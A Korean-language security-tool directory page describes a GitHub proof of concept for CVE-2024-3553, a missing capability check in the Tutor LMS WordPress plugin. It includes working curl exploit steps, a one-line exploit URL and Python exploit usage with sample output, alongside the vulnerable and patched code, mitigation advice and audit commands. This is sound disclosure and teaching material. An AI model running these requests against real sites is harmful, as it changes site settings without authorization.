Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-3553 — CVE-2024-3553: Tutor LMS <= 2.6.2 - 인증된 공격자가 사용자 등록을 활성화할 수 있는 권한 부여 누락 취약점 | Kitploit
도구/GitHubGitHub/randomrobbiebf/cve-2024-3553
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubrandomrobbiebf/cve-2024-3553

CVE-2024-3553

CVE-2024-3553: Tutor LMS <= 2.6.2 - 인증된 공격자가 사용자 등록을 활성화할 수 있는 권한 부여 누락 취약점

저장소 보기
18개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-3553

Tutor LMS <= 2.6.2 - 인증 부재로 인한 비인증 제한된 옵션 업데이트

Tutor LMS – WordPress용 e러닝 및 온라인 코스 솔루션 플러그인은 2.6.2 및 그 이전 모든 버전에서 hide_notices() 함수에 누락된 기능 검사로 인해 데이터 무단 수정에 취약합니다. 이로 인해 인증된 공격자(구독자와 같은 낮은 권한의 사용자 포함)가 관리자가 비활성화한 사이트에서 사용자 등록을 활성화할 수 있습니다.

세부 정보

  • 유형: 플러그인
  • 슬러그: tutor
  • 영향을 받는 버전: 2.6.2
  • CVSS 점수: 6.5
  • CVSS 등급: 중간
  • CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
  • CVE: CVE-2024-3553
  • 상태: 활성

PoC

자동화된 익스플로잇

전체 Python 익스플로잇이 제공됩니다: exploit-cve-2024-3553-v2.py

root@kitploit:~
# 전체 자동화된 익스플로잇
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# 등록 상태만 확인
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

수동 익스플로잇

전제 조건:

  • 모든 인증된 계정(구독자, 기여자 등)
  • Tutor LMS 플러그인이 설치되고 활성화되어 있어야 함

1단계: 낮은 권한의 사용자로 로그인

root@kitploit:~
# 구독자 또는 인증된 사용자로 로그인
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

2단계: 관리자 영역에서 nonce 추출

root@kitploit:~
# 인증된 모든 사용자는 /wp-admin/에 접근할 수 있습니다 (구독자도 포함)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

3단계: 익스플로잇 실행

root@kitploit:~
# 사용자 등록을 활성화하는 요청 전송
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

4단계: 성공 확인

root@kitploit:~
# 등록이 활성화되었는지 확인
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "등록 활성화됨" || echo "등록 비활성화됨"

한 줄 익스플로잇

root@kitploit:~
# 인증된 모든 사용자는 다음을 방문하기만 하면 됩니다:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

예제 출력

root@kitploit:~
======================================================================
CVE-2024-3553 익스플로잇 - Tutor LMS 인증 누락
대상: https://target.com
======================================================================

[*] 현재 등록 상태 확인 중...
[+] 등록이 현재 비활성화됨

[*] 구독자로 로그인 시도 중...
[+] 구독자로 로그인 성공

[*] 2단계: 관리자 영역에서 nonce 추출 중...
[+] nonce 발견: abc123def456

[*] 3단계: 사용자 등록 활성화를 위한 익스플로잇 실행 중...
[*] 대상: https://target.com
[*] 사용 중인 nonce: abc123def456
[*] 익스플로잇 URL: https://target.com/wp-admin/index.php
[*] 매개변수: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] 응답 상태: 200
[+] 익스플로잇 요청 성공!

[*] 4단계: 익스플로잇 성공 확인 중...
[+] 등록이 현재 활성화됨

======================================================================
[!] 익스플로잇 성공!
[!] 사용자 등록이 이제 활성화되었습니다
[!]
[!] 영향: 낮은 권한의 계정(구독자)을 가진 공격자가
[!] 비활성화된 사이트에서 사용자 등록을 활성화할 수 있었습니다.
[!] 이는 추가 계정 생성으로 이어져 스팸이나 무단 접근으로
[!] 이어질 수 있습니다.
======================================================================

취약한 코드

파일: /classes/User.php (약 800~815줄)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // 핵심 결함: is_admin()은 관리자 영역인지만 확인할 뿐, 사용자 역할은 확인하지 않습니다!
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // 기능 검사 없음 - 모든 인증된 사용자가 실행 가능!
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

주요 취약점 포인트:

  1. is_admin()은 요청이 관리자 페이지로 전송되었는지 확인할 뿐, 사용자가 관리자인지 확인하지 않습니다.
  2. 모든 인증된 사용자는 /wp-admin/에 접근할 수 있습니다 (구독자도 포함).
  3. nonce 검사는 요청이 의도적인지 확인하지만, 사용자가 적절한 권한을 가지고 있는지는 확인하지 않습니다.
  4. 누락됨: current_user_can('manage_options') 기능 검사
  5. 이로 인해 모든 인증된 사용자가 users_can_register 옵션을 수정할 수 있습니다.

패치 (v2.7.0)

파일: /classes/User.php (패치된 버전)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // 보안 수정: 기능 검사 추가
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // 이제 적절히 보호됨
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

패치는 옵션 업데이트를 허용하기 전에 사용자가 관리자 권한을 가지고 있는지 확인하기 위해 current_user_can('manage_options')를 추가합니다.

영향

  • 중간 심각도: 사이트를 직접 손상시키는 것은 아니지만, 이 취약점은 다음을 허용합니다:
    • 관리 제어 우회
    • 강화된/비공개 사이트에서 사용자 등록 활성화
    • 스팸 계정 생성 가능성
    • 사이트 보안 정책 우회
    • 사이트 구성 무단 수정

근본 원인 분석

일반적인 WordPress 보안 실수

이 취약점은 WordPress 인증 함수에 대한 심각한 오해를 보여줍니다:

잘못됨 ❌:

root@kitploit:~
if ( is_admin() ) {
    // "사용자가 관리자"라고 생각함
    update_option( 'sensitive_option', $value );
}

올바름 ✅:

root@kitploit:~
if ( current_user_can( 'manage_options' ) ) {
    // 실제로 사용자에게 관리자 기능이 있는지 확인
    update_option( 'sensitive_option', $value );
}

함수 비교

함수실제 확인 내용보안 사용
is_admin()현재 URL이 /wp-admin/에 있는지 여부❌ 인증이 아님
current_user_can()사용자에게 특정 기능이 있는지 여부✅ 적절한 인증
wp_verify_nonce()요청이 의도적인지 (CSRF 보호)✅ 그러나 단독으로는 충분하지 않음

심층 방어 필요

적절한 WordPress 보안은 여러 계층이 필요합니다:

  1. Nonce 검증 - CSRF 공격 방지
  2. 기능 검사 - 적절한 인증 보장
  3. 입력 정화 - 인젝션 공격 방지

이러한 계층 중 하나라도 누락되면 취약점이 발생할 수 있습니다.

완화 조치

사이트 관리자를 위해:

즉시 Tutor LMS 버전 2.7.0 이상으로 업데이트하세요:

root@kitploit:~
# WP-CLI를 통해
wp plugin update tutor --version=2.7.0

# WordPress 관리자를 통해
대시보드 → 플러그인 → "Tutor LMS" 찾기 → "지금 업데이트" 클릭

최근 변경 사항 감사:

root@kitploit:~
# 등록 설정이 최근에 수정되었는지 확인
wp option get users_can_register

# 최근 사용자 등록 검토
wp user list --orderby=registered --order=DESC --number=20

보안 교훈

개발자를 위해

  1. 인증을 위해 is_admin()만 절대 신뢰하지 마세요
  2. 기능 검사에는 항상 current_user_can()을 사용하세요
  3. Nonce 검증과 기능 검사를 결합하세요
  4. 보안을 위해 WordPress 코딩 표준을 따르세요
  5. 개발 중에는 낮은 권한의 계정으로 테스트하세요

테스트 방법론

WordPress 플러그인의 인증 문제를 감사할 때:

root@kitploit:~
# 1. 기능 검사 없이 is_admin()을 검색
grep -r "is_admin()" . | grep -v "current_user_can"

# 2. 직접 옵션 업데이트 찾기
grep -r "update_option\|add_option" .

# 3. 기능 검사 없는 AJAX 핸들러 찾기
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"

참조

  • Wordfence 권고: https://www.wordfence.com/threat-intel/vulnerabilities/id/f8d4029e-07b0-4ceb-ae6e-11a3f7416ebc?source=cve
  • WordPress Trac 패치: https://plugins.trac.wordpress.org/changeset/3076302/tutor/tags/2.7.0/classes/User.php
  • WordPress 기능 참조: https://wordpress.org/documentation/article/roles-and-capabilities/
  • WPScan 항목: https://wpscan.com/vulnerability/cve-2024-3553

이 저장소의 파일

  • README.md - 이 파일
  • exploit-cve-2024-3553.py - 기본 Python 익스플로잇
  • exploit-cve-2024-3553-v2.py - 상세 문서가 포함된 향상된 Python 익스플로잇
  • manual-exploit-cve-2024-3553.sh - 수동 익스플로잇 스크립트
  • test-cve-2024-3553-direct.sh - 직접 확인 테스트 스크립트

발견일: 2024-04-15 공개일: 2024-05-20 패치일: 2024-05-21 (v2.7.0) 테스트 날짜: 2025-12-26 분류: 취약점 검증 성공

도구 다운로드